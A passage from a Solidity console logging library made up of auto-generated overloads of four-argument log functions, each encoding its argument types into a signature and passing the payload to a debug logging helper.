_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
